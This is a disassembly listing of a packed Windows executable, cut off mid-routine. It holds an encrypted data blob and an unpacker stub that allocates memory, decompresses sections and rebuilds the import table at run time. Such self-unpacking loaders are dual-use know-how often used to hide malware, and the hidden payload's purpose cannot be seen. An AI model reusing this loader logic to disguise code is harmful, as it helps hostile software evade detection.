0ACED3DAAh, 7FB5E538h, 0A0ABE054h dd 0FF5CDFB2h, 472BD022h, 0AC399562h, 5437F810h, 5278A4D8h dd 421EBDEBh, 0F05DCF06h, 0B40EA845h, 0B81C8223h, 64EDEA52h dd 7F9CE3DCh, 17BA2CB2h, 0C8F0F36h, 230C5D6h, 0A84F23D5h dd 0D030AEDCh, 0DB7845D5h, 0A9BAF1B9h, 3C4773D9h, 659D3EF5h dd 0BDD30933h, 72936625h, 260E9FB5h, 0B7F05AF9h, 6307CBDBh dd 0B508F3B7h, 0E89C8AD8h, 2631E971h, 0E011D7C1h, 0CAFC927Ah dd 48FC531Ch, 9E4C6DADh, 0B4A583DBh, 938F7EADh, 71B264A5h dd 3E52FADh, 6AE64F51h, 69A39742h, 0CB53E9D6h, 57315B62h dd 5482E1D0h, 58DA7F44h, 243CC07Dh, 0E3AEF268h, 24F5BB99h dd 0EEED1A04h, 0A540E91h, 0DB1CB41Dh, 0F55E75F6h, 0A3A683BEh dd 88930ACBh, 0A8A2BB6Bh, 3B11F854h, 6854A68Eh, 53FF2118h dd 6E278B7Eh, 8EC5F052h, 0D3ABEE28h, 0C7757FBDh, 0E8F06E75h dd 4A01CCF1h, 54261EF2h, 5ACB1D65h, 0AE7DF3C2h, 0C6063ABBh dd 6847A29Ah, 4383F25Dh, 0DA6504BCh, 47D0903Fh, 8F26587Dh dd 8EC66D27h, 758046D0h, 14342782h, 66EE978h, 29891FAh dd 0F34064D7h, 0DF0A1C90h, 9EE498B6h, 9F0FE4BEh, 0B0FE3A71h dd 2D99AA68h, 0F456F097h, 0C96CDD27h, 0A06363F4h, 1BA3AD84h dd 0ABBAC823h, 0B4290BB3h, 0E0A79664h, 0A799EACBh, 1483026Dh dd 0DEB19F70h, 0A0DC9064h, 11C1402Fh, 0E5D85567h, 0A2AC470Ch dd 5C364966h, 1064DF34h, 0A3FECE51h, 2DFE7248h, 6E29CF03h dd 8A69C55Fh, 2561FA63h, 73C6053Dh, 93F2AFDCh, 78886FEFh dd 6FD1C793h, 0A270D89Dh, 103F748Eh, 0D71D27C4h, 0CF4C05C7h dd 0BFADC1B8h, 0DCC31151h, 4F755236h, 0F1930047h, 9D9E2A05h dd 1398BFF0h, 0AE6FB81Ah, 36D9FB03h, 0F55F8801h, 0F2908ABh dd 749182D5h, 20B58F35h, 21F4E2A5h, 0AC9F1B28h, 1934E9D9h dd 59EF036Eh, 8661EFB0h, 0BCA518F4h, 5670C282h, 0F0A5A57Dh dd 0A363775Ah, 0AAFE1F74h, 1AC1497Fh, 7F9EE7BDh, 9384F91h dd 5F1514F7h, 1550ECC7h, 0D5D7AA80h, 3119B765h, 0A2FB066h dd 8155A981h, 5E1B7DB3h, 8481926Bh, 0B160F08Eh, 0DA408B67h dd 342E55F9h, 7A6D2653h, 6F66A88Fh, 4719D896h, 5063DE17h dd 2FB8B368h, 0D920874Ah, 0EE0E2D51h, 3A73AACDh, 241E3BDEh dd 4076E79Ch, 532AA46Ch, 48368864h, 9CE8F0BFh, 99F5F536h dd 65893F63h, 0DF07E77Eh, 8BECA952h, 0C9BDBBD2h, 931225EEh dd 5AC04482h, 2C0A34C8h, 0E5E90C6Eh, 5733531Eh, 8B5A2186h dd 0C54B9EB4h, 635C1549h, 0ECF2254Ch, 6911584Dh, 515AA458h dd 389F4982h, 657F277Ch, 0EC91258Bh, 4F5BDF11h, 3772465Eh dd 0F0CBF307h, 12DD2210h, 25072D8Fh, 0DD637DF4h, 0DE53D667h dd 3FEFAC43h, 0B69E8096h, 0D162B3BBh, 18C36AB1h, 5F82DF98h dd 87B77474h, 4ECEFD94h, 72C7E243h, 5183BF53h, 23EC346Ah dd 0EE03FD0Ah, 619215AEh, 2FB57035h, 66EC08Ch, 37E4E344h dd 400D3590h, 9F53E6B9h, 0BDF98DF3h, 3A6C588Ch, 0BD1B2265h dd 44EEBD2Ah, 2008925Ch, 93544EDCh, 3AEDFC4Bh, 0DAA4A871h dd 0EE0CDF20h, 39339713h dd 5460C482h, 747D51EEh, 21E0C374h, 0BC68DF37h, 1E3D5A6Ch dd 81B4978Ch, 0A6AD7E8Bh, 0E9CB98B3h, 0C48A704Eh, 67130CD7h dd 9496AB9h, 188EED53h, 4F1D4BBDh, 0E63781A8h, 5083F287h dd 9FF7AB0Bh, 0E4CD4BEFh, 0E3D72241h, 3C06A473h, 458F6D6Ch dd 0D102CFE7h, 19853A80h, 0C4775ECAh, 7DFAE8FDh, 0A589D45Ah dd 7E3D33C4h, 0E98F5525h, 598C8F78h, 83175B31h, 0A6B8A2A0h dd 1F8A31B6h, 0B439E606h, 0DA243809h, 7E796F55h, 0C1148F36h dd 3EED0B4Ch, 9DEFB928h, 4AC21444h, 0A7114F70h, 4B808F30h dd 0AEB845FEh, 7EF76CA7h, 5C497F41h, 0BC1C3147h, 4E263B53h dd 13014B07h, 70778969h, 0FB65B0C8h, 60DD59A3h, 6B12CE4Dh dd 0ECA83E6Ch, 11B4E2C5h, 39230656h, 34A41C33h, 0D0E3C368h dd 0CF8DD62Eh, 48ED1EA5h, 870165E7h, 5982C9E1h, 5C52E59Bh dd 658C5D18h, 7FC1AF61h, 0E0509CC0h, 0ED55FC24h, 39FEDC04h dd 8C16A8A8h, 0DDED6DECh, 0A0C6942Bh, 31E4347Bh, 0E0729851h dd 64B7DC27h, 0E2B75938h, 8394AA64h, 0F068C11Bh, 1F78D823h dd 0EB54D283h, 429084F9h, 13A2D105h, 40299398h, 23BD9277h dd 0C4C5E205h, 0AB4C0BCFh, 5CE2CBF3h, 14F97A51h, 0E758981Dh dd 2524EEA7h, 615F628h, 33A89DF7h, 6110792Ch, 5499AA06h dd 47ACBF5Fh, 0ECB98D83h, 33B250F4h, 70148A00h, 21A66A82h dd 75E299BCh, 0EE6BF0C1h, 4BEC20D4h, 5A3D02F6h, 0EB831347h dd 5A355747h, 84485674h, 363F3CA6h, 7D89A4F4h, 83D70AB3h dd 0F4577C97h, 7709D30Dh, 0C302914Eh, 0CB94BE41h, 20E8CFF0h dd 0DA567551h, 0A358EE5Ah, 5B48E2D2h, 98ECBF55h, 2894DD72h dd 2E959E3Eh, 2D8DE161h, 0B39748F4h, 0C596F3DCh, 5A8D1D4Eh dd 912F69C2h, 0A070694Fh, 0C03C804Dh, 429CC3C5h, 77696310h dd 2EC4E05h, 0CA049877h, 73C9CEC6h, 0DE024624h, 83C3331Ch dd 0C63E5BE8h, 712D706Ah, 3AAB421Eh, 0E3D6257Fh, 0E009E315h dd 1E5B4822h, 6566EAA1h, 0C65BDEF6h, 3538CBC1h, 0DC96F7h dd 0F181F505h, 600CF882h, 0DFB21274h, 1CA64D8h, 53B3423Fh dd 0B0A70A07h, 984BAE0Eh, 0C7D3C47Ah, 0BF3EF59Eh, 8D297502h dd 0C55460Ah, 0D833072Dh, 9E7E1135h, 0ED021A15h, 0C5C75670h dd 3414F135h, 0F8E8B93Eh, 2635BF3Bh, 756764DEh, 4AA8D484h dd 50684F20h, 0E8737DD7h, 98C92D4Eh, 74BF9BAFh, 0F28E07A7h dd 0CBC985D8h, 2AF00253h, 82F2A3E2h, 0C3723E6h, 0F1F83BE1h dd 0A268DDBAh, 0DA1255BDh, 283C39CDh, 0CC23608Ah, 35A59D01h dd 7F209933h, 0A81F1EF5h, 1A7B15DCh, 5057B6A5h, 0BBF13EC9h dd 928D04D5h, 5AC5FA7h, 599CBF6Fh, 1034E183h, 12D6EB28h dd 8091827Bh, 284CBC54h, 4AEBA00Ah, 41F90FFAh, 1FDE2C44h dd 7618B72Dh, 0A8781C68h, 0AE0AC8B5h, 0C364ACD8h, 8BF308E6h dd 53A34BD8h, 4EDDBBD0h, 850F0043h, 0B7B77735h, 0B6D3336Bh dd 6DA39CC5h, 0AFC50AD6h, 4FE3A67Dh, 9DFF60DAh, 57A7A5F8h dd 8D890E50h, 0D110A89h, 0CEE49AD9h, 38685E33h, 0A6386E96h dd 581D2481h, 5E491F1Ah, 760A6279h, 0B3B9CAD0h, 174366F6h dd 9057B434h, 0F7390E61h, 3ACC582Eh, 6BADBBDFh, 0A1B12554h dd 7B23E5E3h, 86BB7989h, 756D3BEh, 0E71AB5A0h, 7AFC8DC8h dd 30B2A793h, 470DD93Bh, 0E2727359h, 857CA9D3h, 3BFB8679h dd 52A0F883h, 0BB887214h, 3750D5CDh, 16A5A718h, 0BA59BDEEh dd 0DA46E5C8h, 4B78A108h, 0B82EA787h, 2DAA1135h, 0A5F5639Dh dd 3A365E9Eh, 0EDD27CFh, 8823EED1h, 0C74D3A9Dh, 3C3B1A3Eh dd 3833EEFCh, 478F0EC8h, 0D397DA3Fh, 0BED93D00h, 39D99BB8h dd 908E4028h, 3ED37BA0h, 307D1A1h, 14D772D3h, 104BB7AFh dd 0C5C7A16Dh, 0FDFC5CEBh, 628F4CC5h, 9B26B64Ch, 10F580Fh dd 0CED5845Eh, 0A9744884h, 2EAB8D1Eh, 88DC0150h, 66EA3841h dd 70CF1229h, 0F8D7FA02h, 173C7C82h, 727A454Dh, 0CCB8608Ah dd 7864DC18h, 5E78DE34h, 0B1537234h, 8C9DF2A7h, 3652DCDCh dd 0DC0D7E12h, 0E2ABC284h, 1F25667Bh, 2725C780h, 44D4A1h dd 0E86C1FE8h, 664FAD3Eh, 4A6AEAB1h, 1811A346h, 722866C7h dd 0B07B8737h, 72B20B3h, 260456CFh, 5140D0CFh, 5B2E4422h dd 0F129A343h, 435CA82Dh, 0C077AF57h, 40F0A602h, 0CAEA8640h dd 0F4E5915h, 0D2357371h, 99283DA1h, 0EF144A36h, 4DA11B2Ch dd 0B7C95105h, 3F44479Dh, 9DA95BC0h, 0C9FFBECAh, 93791449h dd 41A80703h, 0D05452FDh, 2987DE6h, 37518303h, 10042662h dd 0E9B7E161h, 0D6BF1055h, 5D74EF11h, 5460E59Fh, 0DB118754h dd 33E2DED5h, 0FF3FE5D5h, 9496D6D6h _pdata ends ; Section 3. (virtual address 00101000) ; Virtual size : 00001BA4 ( 7076.) ; Section size in file : 00001BA4 ( 7076.) ; Offset to raw data for section: 00101000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _ex_cod segment para public 'CODE' use32 assume cs:_ex_cod ;org 501000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_501000 dd 1AB0h dd offset sub_501ECE dd 0 dword_50100C dd 0FFFFFFFFh ; sub_501F30+1Br ... dword_501010 dd 0 ; sub_501F30+87w dword_501014 dd 0 ; sub_501F30:loc_501FB0r dword_501018 dd 0 ; sub_501F30+9Fr dword_50101C dd 0 ; sub_501F30+99r dword_501020 dd 0 ; sub_501F30+93r off_501024 dd offset dword_502AB0 ; DATA XREF: sub_501441r start+8Ew ... dword_501028 dd 400000h dword_50102C dd 1 ; start:loc_5014CAw dword_501030 dd 0 ; start+8A5r ... dword_501034 dd 0 dword_501038 dd 0 off_50103C dd offset sub_41AB00 ; DATA XREF: start+873w start+8C0r ... dword_501040 dd 0 align 8 dword_501048 dd 5F696DCh, 36632B29h, 38C48BADh, 13A7F29ChaWks: ; DATA XREF: sub_50275E+112o unicode 0, <wks>,0 dd 10109Ch, 2 dup(0) dd 1011B6h, 1010D4h, 1010C8h, 2 dup(0) dd 1011DEh, 101100h, 5 dup(0) dd 10110Ch, 10111Ah, 10112Ah, 101138h, 10114Ah, 10115Ch dd 101170h, 101182h, 101198h, 1011A6h, 0 dd 1011C4h, 1011D0h, 0 dword_5010D4 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_5010D8 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_5010DC dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_5010E0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_5010E4 dd 7C801D4Fh ; resolved to->KERNEL32.LoadLibraryExAdword_5010E8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_5010EC dd 7C801AD0h ; resolved to->KERNEL32.VirtualProtectdword_5010F0 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_5010F4 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_5010F8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA align 10h dword_501100 dd 7E41A8ADh ; resolved to->USER32.wsprintfAdword_501104 dd 7E45058Ah ; resolved to->USER32.MessageBoxA dd 0 dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h dd 416C6175h, 636F6C6Ch, 0AF0000h, 74697845h, 636F7250h dd 737365h, 65470198h, 6F725074h, 64644163h, 73736572h dd 2490000h, 64616F4Ch, 7262694Ch, 45797261h, 4178h, 65470177h dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6956037Bh, 61757472h dd 6F72506Ch, 74636574h, 1750000h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 aQ_0 db 'ï',0 aFreelibrary db 'FreeLibrary',0 dw 248h aLoadlibrarya_0 db 'LoadLibraryA',0 align 2 aKernel32_dll_1 db 'KERNEL32.dll',0 align 4 dd 737702D5h, 6E697270h, 416674h, 654D01DEh, 67617373h dd 786F4265h, 53550041h, 32335245h, 6C6C642Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5011F0: ; DATA XREF: sub_50275E+106o and ah, [edi+2Fh] retf ; --------------------------------------------------------------------------- cmp ch, [ebx+409C11D2h] add al, al dec edi mov ds:67233E0Ah, eax ; DATA XREF: sub_50275E+10Bo das retf ; --------------------------------------------------------------------------- dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh dd 8000005Eh, 19270000h, 0C802E089h, 0BE839EF3h, 41B6B11Bh ; DATA XREF: sub_502A51+28o dd 56237822h, 71BA0D54h, 68772094h, 0FC301F0Eh, 917A159Eh dd 7F0F3FE0h, 0DD5304FDh, 88809B8h, 949180h, 90EDFBh, 0C26387D0h dd 5DAEBB6Dh, 1EA6E26h, 98CBC360h, 7E1B00A6h, 0AD00C202h dd 3C6ED329h, 7164EE3Bh, 648D24B5h, 0DDABF315h, 864D550h dd 3C59DBABh, 93384D8Ch, 0E4A91608h, 0F430AF39h, 5E10B65Fh dd 520B311Dh, 1E0A8B41h, 0CF7F9D1Eh, 0C20320CDh, 0E0B676D7h dd 0CF42C5E6h, 0B1DCB20h, 282B4A22h, 6830219Bh, 0AE1D8589h dd 423D3D40h, 7373B247h, 62A7C512h, 0AB4EEBB8h, 67207267h dd 268BC87Ah, 911D60FAh, 6F1FC03Eh, 0AE9D4971h, 0C5FB263Ah dd 0AD895839h, 0E65072Bh, 2BC19F2Ah, 5F038A70h, 8EB4B4B3h dd 76673D66h, 0A1907467h, 0D1E243C2h, 5B2AE100h, 0A7F30706h dd 39DB0F21h, 7B5337AEh, 5D640617h, 99C859FBh, 0E455FDABh dd 0D6A78184h, 0C19AC2D3h, 8B7FAEFBh, 0F911A38Dh, 3924DAD6h dd 0A2DBD38Dh, 395EFC01h, 6A0E3143h, 28E7B155h, 0FAACA3D8h dd 0A4E00E18h, 0CDEB94B5h, 4E0824E2h, 5401A664h, 2D59257Fh dd 4157BD1h, 5DE20A8Eh, 483BBDA5h, 0FFBC7CE5h, 125B38h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_501368 proc near ; CODE XREF: start+1F4p start+306p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi push edi mov cl, [eax] cmp cl, 0E1h jnb short loc_5013DA xor ebx, ebx cmp cl, 2Dh mov [ebp+var_4], ebx jb short loc_501398 movzx eax, cl push 2Dh xor edx, edx pop esi div esi mov [ebp+var_4], eax loc_501392: ; CODE XREF: sub_501368+2Ej add cl, 0D3h dec eax jnz short loc_501392 loc_501398: ; CODE XREF: sub_501368+1Bj cmp cl, 9 jb short loc_5013AF movzx eax, cl push 9 xor edx, edx pop esi div esi mov ebx, eax loc_5013A9: ; CODE XREF: sub_501368+45j add cl, 0F7h dec eax jnz short loc_5013A9 loc_5013AF: ; CODE XREF: sub_501368+33j movzx esi, cl mov eax, 300h push 4 lea ecx, [esi+ebx] push 1000h shl eax, cl lea edi, [eax+eax+0E6Ch] push edi push 0 call ds:dword_5010D8 ; VirtualAlloc test eax, eax mov [ebp+var_C], eax jnz short loc_5013DF loc_5013DA: ; CODE XREF: sub_501368+11j push 1 pop eax jmp short loc_50143C ; --------------------------------------------------------------------------- loc_5013DF: ; CODE XREF: sub_501368+70j lea ecx, [ebp+var_8] push ecx mov ecx, [ebp+arg_4] push 0FFFFFFFFh add ecx, 0FFFFFFFBh push [ebp+arg_8] push ecx mov ecx, [ebp+arg_0] add ecx, 5 push ecx push [ebp+var_4] push ebx push esi push edi push eax call sub_5023E9 add esp, 28h mov esi, [ebp+var_8] xor ebx, ebx mov edi, eax push 8000h push ebx push [ebp+var_C] call ds:dword_5010D4 ; VirtualFree lea eax, [ebp+var_10] mov [ebp+var_14], ebx push eax lea eax, [ebp+var_14] push eax push ebx push esi mov [ebp+var_10], 0FFFFFFFBh push [ebp+arg_8] call sub_501FDC add esp, 14h mov eax, edi loc_50143C: ; CODE XREF: sub_501368+75j pop edi pop esi pop ebx leave retn sub_501368 endp ; =============== S U B R O U T I N E ======================================= sub_501441 proc near ; CODE XREF: start+93p mov ecx, ds:off_501024 mov eax, offset start sub eax, [ecx+50h] retn sub_501441 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: sub_501441+6o ; sub_501ECE+18o ... var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = byte ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 258h push ebx push esi push edi and [ebp+var_234], 0 rep jmp short loc_501472 ; --------------------------------------------------------------------------- dw 5865h dd 762D7250h, 352E312Eh db 2Eh, 0 ; --------------------------------------------------------------------------- loc_501472: ; CODE XREF: start+13j cmp [ebp+arg_4], 1 jnz short loc_50149B mov eax, [ebp+arg_0] mov ds:dword_501034, eax push 4 push 1000h push 320h push 0 call ds:dword_5010D8 ; VirtualAlloc mov ds:dword_501040, eax jmp short loc_50149F ; --------------------------------------------------------------------------- loc_50149B: ; CODE XREF: start+26j and [ebp+arg_0], 0 loc_50149F: ; CODE XREF: start+49j cmp [ebp+arg_4], 0 jnz short loc_5014BC cmp ds:dword_501038, 0 jz short loc_5014BC cmp ds:dword_501034, 0 jz short loc_5014BC jmp loc_501DB6 ; --------------------------------------------------------------------------- loc_5014BC: ; CODE XREF: start+53j start+5Cj ... cmp ds:dword_50102C, 0 jz short loc_5014CA jmp loc_501CC9 ; --------------------------------------------------------------------------- loc_5014CA: ; CODE XREF: start+73j mov ds:dword_50102C, 1 mov eax, ds:dword_501000 add eax, offset dword_501000 mov ds:off_501024, eax call sub_501441 mov ds:dword_501028, eax push 4 push 1000h push 80h push 0 call ds:dword_5010D8 ; VirtualAlloc mov [ebp+var_224], eax mov eax, ds:off_501024 cmp dword ptr [eax+4Ch], 0 jnz short loc_50152E push 10h push 0 call sub_502A51 pop ecx push eax push 1 call sub_502A51 pop ecx push eax push 0 call ds:dword_501104 ; MessageBoxA loc_50152E: ; CODE XREF: start+C0j push 104h lea eax, [ebp+var_210] push eax push [ebp+arg_0] call ds:dword_5010F0 ; GetModuleFileNameA lea eax, [ebp+eax+var_211] mov [ebp+var_228], eax loc_501550: ; CODE XREF: start+11Bj mov eax, [ebp+var_228] movsx eax, byte ptr [eax] cmp eax, 5Ch jz short loc_50156D mov eax, [ebp+var_228] dec eax mov [ebp+var_228], eax jmp short loc_501550 ; --------------------------------------------------------------------------- loc_50156D: ; CODE XREF: start+10Cj mov eax, [ebp+var_228] inc eax mov [ebp+var_228], eax mov eax, [ebp+var_228] lea ecx, [ebp+var_210] sub eax, ecx mov [ebp+var_250], eax mov ecx, [ebp+var_250] lea esi, [ebp+var_210] lea edi, [ebp+var_104] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_250] and [ebp+eax+var_103], 0 mov eax, ds:dword_501028 mov [ebp+var_24C], eax mov eax, [ebp+var_24C] mov ecx, ds:dword_501028 add ecx, [eax+3Ch] mov [ebp+var_22C], ecx mov eax, ds:off_501024 cmp dword ptr [eax+70h], 0 jz loc_5016A9 mov eax, ds:off_501024 mov ecx, ds:dword_501028 add ecx, [eax+88h] mov [ebp+var_23C], ecx mov eax, [ebp+var_23C] mov [ebp+var_244], eax mov eax, ds:off_501024 mov eax, [eax+3Ch] mov [ebp+var_230], eax mov eax, ds:off_501024 mov ecx, ds:dword_501028 add ecx, [eax+44h] mov [ebp+var_218], ecx push [ebp+var_23C] mov eax, ds:off_501024 push dword ptr [eax+38h] push [ebp+var_218] call sub_501368 add esp, 0Ch mov eax, ds:off_501024 push dword ptr [eax+74h] push [ebp+var_244] call sub_50275E pop ecx pop ecx mov [ebp+var_234], eax cmp [ebp+var_234], 0 jge short loc_5016A4 push [ebp+var_234] push 2 call sub_502A51 pop ecx push eax push [ebp+var_224] call ds:dword_501100 ; wsprintfA add esp, 0Ch push 30h push [ebp+var_228] push [ebp+var_224] push 0 call ds:dword_501104 ; MessageBoxA loc_5016A4: ; CODE XREF: start+21Ej jmp loc_501DB4 ; --------------------------------------------------------------------------- loc_5016A9: ; CODE XREF: start+195j mov eax, ds:off_501024 cmp dword ptr [eax+6Ch], 0 jz loc_501803 push 4 push 1000h mov eax, ds:off_501024 push dword ptr [eax+38h] push 0 call ds:dword_5010D8 ; VirtualAlloc mov [ebp+var_244], eax mov eax, [ebp+var_244] mov [ebp+var_23C], eax cmp [ebp+var_23C], 0 jnz short loc_501708 push 30h push [ebp+var_228] push 3 call sub_502A51 pop ecx push eax push 0 call ds:dword_501104 ; MessageBoxA jmp loc_501DB2 ; --------------------------------------------------------------------------- loc_501708: ; CODE XREF: start+298j mov eax, ds:off_501024 mov eax, [eax+3Ch] mov [ebp+var_230], eax mov eax, ds:off_501024 mov ecx, ds:dword_501028 add ecx, [eax+44h] mov eax, ds:off_501024 mov esi, [ebp+var_22C] mov eax, [eax+80h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_218], ecx push [ebp+var_23C] mov eax, ds:off_501024 push dword ptr [eax+38h] push [ebp+var_218] call sub_501368 add esp, 0Ch jmp short loc_50176D ; --------------------------------------------------------------------------- loc_501760: ; CODE XREF: start+396j mov eax, [ebp+var_234] inc eax mov [ebp+var_234], eax loc_50176D: ; CODE XREF: start+30Ej mov eax, ds:off_501024 movzx eax, word ptr [eax+78h] cmp [ebp+var_234], eax jge short loc_5017EB mov eax, [ebp+var_234] imul eax, 18h mov ecx, ds:off_501024 mov ecx, [ecx+eax+84h] mov esi, [ebp+var_23C] mov eax, [ebp+var_234] imul eax, 18h mov edx, ds:off_501024 mov edi, ds:dword_501028 add edi, [edx+eax+88h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_234] imul eax, 18h mov ecx, ds:off_501024 mov edx, [ebp+var_23C] add edx, [ecx+eax+84h] mov [ebp+var_23C], edx jmp loc_501760 ; --------------------------------------------------------------------------- loc_5017EB: ; CODE XREF: start+32Cj push 8000h push 0 push [ebp+var_244] call ds:dword_5010D4 ; VirtualFree jmp loc_501928 ; --------------------------------------------------------------------------- loc_501803: ; CODE XREF: start+262j mov eax, ds:off_501024 mov ecx, ds:dword_501028 add ecx, [eax+44h] mov eax, ds:off_501024 sub ecx, [eax+40h] mov eax, ds:off_501024 mov esi, [ebp+var_22C] mov eax, [eax+80h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_244], ecx and [ebp+var_234], 0 jmp short loc_50184D ; --------------------------------------------------------------------------- loc_501840: ; CODE XREF: start:loc_501923j mov eax, [ebp+var_234] inc eax mov [ebp+var_234], eax loc_50184D: ; CODE XREF: start+3EEj mov eax, ds:off_501024 movzx eax, word ptr [eax+78h] cmp [ebp+var_234], eax jge loc_501928 mov eax, [ebp+var_234] imul eax, 18h mov ecx, ds:off_501024 cmp dword ptr [ecx+eax+7Ch], 0 jz loc_501923 mov eax, [ebp+var_234] imul eax, 18h mov ecx, ds:off_501024 cmp dword ptr [ecx+eax+84h], 0 jbe loc_501923 mov eax, [ebp+var_234] imul eax, 18h mov ecx, ds:off_501024 mov edx, ds:dword_501028 add edx, [ecx+eax+88h] mov [ebp+var_23C], edx mov eax, [ebp+var_234] imul eax, 18h mov ecx, ds:off_501024 mov eax, [ecx+eax+84h] mov [ebp+var_230], eax mov eax, [ebp+var_234] imul eax, 18h mov ecx, ds:off_501024 mov edx, [ebp+var_244] add edx, [ecx+eax+80h] mov [ebp+var_218], edx push [ebp+var_23C] mov eax, [ebp+var_234] imul eax, 18h mov ecx, ds:off_501024 push dword ptr [ecx+eax+84h] push [ebp+var_218] call sub_501368 add esp, 0Ch loc_501923: ; CODE XREF: start+426j start+443j jmp loc_501840 ; --------------------------------------------------------------------------- loc_501928: ; CODE XREF: start+3AEj start+40Cj mov eax, ds:off_501024 mov ecx, ds:dword_501028 add ecx, [eax+5Ch] mov [ebp+var_248], ecx and [ebp+var_220], 0 loc_501943: ; CODE XREF: start+815j mov eax, [ebp+var_248] cmp dword ptr [eax+0Ch], 0 jz loc_501C6A mov eax, ds:off_501024 cmp dword ptr [eax+5Ch], 0 jz loc_501C6A and [ebp+var_254], 0 lea eax, [ebp+var_238] push eax push 40h push 14h push [ebp+var_248] call ds:dword_5010EC ; VirtualProtect mov eax, [ebp+var_248] mov ecx, ds:dword_501028 add ecx, [eax+0Ch] mov [ebp+var_10C], ecx push [ebp+var_10C] call ds:dword_5010E8 ; GetModuleHandleA mov [ebp+var_240], eax cmp [ebp+var_240], 0 jnz short loc_5019D9 push 8 push 0 push [ebp+var_10C] call ds:dword_5010E4 ; LoadLibraryExA mov [ebp+var_240], eax cmp [ebp+var_240], 0 jz short loc_5019D9 mov [ebp+var_254], 1 loc_5019D9: ; CODE XREF: start+55Ej start+57Dj cmp [ebp+var_240], 0 jnz short loc_501A3E mov edi, [ebp+var_10C] mov eax, [ebp+var_250] lea eax, [ebp+eax+var_104] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 8 push 0 lea eax, [ebp+var_104] push eax call ds:dword_5010E4 ; LoadLibraryExA mov [ebp+var_240], eax cmp [ebp+var_240], 0 jz short loc_501A3E mov [ebp+var_254], 1 loc_501A3E: ; CODE XREF: start+590j start+5E2j cmp [ebp+var_240], 0 jnz short loc_501A80 push [ebp+var_10C] push 4 call sub_502A51 pop ecx push eax push [ebp+var_224] call ds:dword_501100 ; wsprintfA add esp, 0Ch push 30h push [ebp+var_228] push [ebp+var_224] push 0 call ds:dword_501104 ; MessageBoxA jmp loc_501DB0 ; --------------------------------------------------------------------------- loc_501A80: ; CODE XREF: start+5F5j cmp [ebp+var_254], 0 jz short loc_501AB4 cmp ds:dword_501040, 0 jz short loc_501AB4 mov eax, [ebp+var_220] mov ecx, ds:dword_501040 mov edx, [ebp+var_240] mov [ecx+eax*4], edx mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_501AB4: ; CODE XREF: start+637j start+640j mov eax, [ebp+var_248] mov ecx, ds:dword_501028 add ecx, [eax+10h] mov [ebp+var_21C], ecx mov eax, [ebp+var_248] cmp dword ptr [eax], 0 jnz short loc_501AE2 mov eax, [ebp+var_21C] mov [ebp-214h], eax jmp short loc_501AF6 ; --------------------------------------------------------------------------- loc_501AE2: ; CODE XREF: start+682j mov eax, [ebp+var_248] mov ecx, ds:dword_501028 add ecx, [eax] mov [ebp-214h], ecx loc_501AF6: ; CODE XREF: start+690j start+801j mov eax, [ebp-214h] cmp dword ptr [eax], 0 jz loc_501C56 and [ebp+var_258], 0 mov eax, [ebp-214h] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_501B42 mov eax, [ebp-214h] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_240] call ds:dword_5010E0 ; GetProcAddress mov [ebp+var_258], eax jmp short loc_501B71 ; --------------------------------------------------------------------------- loc_501B42: ; CODE XREF: start+6CBj mov eax, [ebp-214h] mov eax, [eax] add eax, ds:dword_501028 mov [ebp+var_108], eax mov eax, [ebp+var_108] inc eax inc eax push eax push [ebp+var_240] call ds:dword_5010E0 ; GetProcAddress mov [ebp+var_258], eax loc_501B71: ; CODE XREF: start+6F0j cmp [ebp+var_258], 0 jnz loc_501C0E mov eax, [ebp-214h] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_501BC6 mov eax, [ebp-214h] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_10C] push [ebp+var_228] push 5 call sub_502A51 pop ecx push eax push [ebp+var_224] call ds:dword_501100 ; 